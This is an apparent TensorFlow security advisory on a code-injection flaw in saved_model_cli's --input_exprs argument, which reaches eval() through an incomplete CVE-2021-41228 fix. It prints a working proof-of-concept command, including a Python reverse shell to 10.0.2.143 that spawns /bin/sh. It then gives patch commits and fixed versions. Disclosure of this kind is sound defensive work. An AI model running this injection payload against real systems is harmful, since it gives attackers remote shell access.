Code injection in `saved_model_cli` in TensorFlow
### Impact
TensorFlow's `saved_model_cli` tool is vulnerable to a code injection:
```
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default
```
This can be used to open a reverse shell
```
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default
```
This is because the fix
https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7 for CVE-2021-41228
https://nvd.nist.gov/vuln/detail/CVE-2021-41228 was incomplete. Under certain code paths
https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574 it still allows unsafe execution:
```python
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
# ...
for input_raw in filter(bool, input_exprs_str.split(';')):
# ...
if safe:
# ...
else:
# ast.literal_eval does not work with numpy expressions
input_dict[input_key] = eval(expr) # pylint: disable=eval-used
return input_dict
```
This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.
However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the `safe=False` argument, so all parsing is done withough calling `eval`.
### Patches
We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac
https://github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.